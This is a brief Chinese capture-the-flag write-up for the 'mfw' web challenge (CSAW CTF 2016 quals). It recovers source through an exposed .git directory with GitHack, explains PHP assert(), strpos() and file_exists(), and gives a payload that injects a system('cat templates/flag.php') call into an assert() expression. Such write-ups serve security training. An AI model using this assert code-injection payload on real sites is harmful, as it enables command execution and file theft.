攻防世界Web-mfw

题目来源csaw-ctf-2016-quals

image

image

使用GitHack

image

image

image

image

assert() 检查一个断言是否为 FALSE

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

file_exists() 函数检查文件或目录是否存在。

payload:

?/page=

about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag

查看网页源代码

image

知识:git漏洞、代码审计

posted @ 2019-05-14 19:14  JKding233  阅读(2204)  评论(0编辑  收藏  举报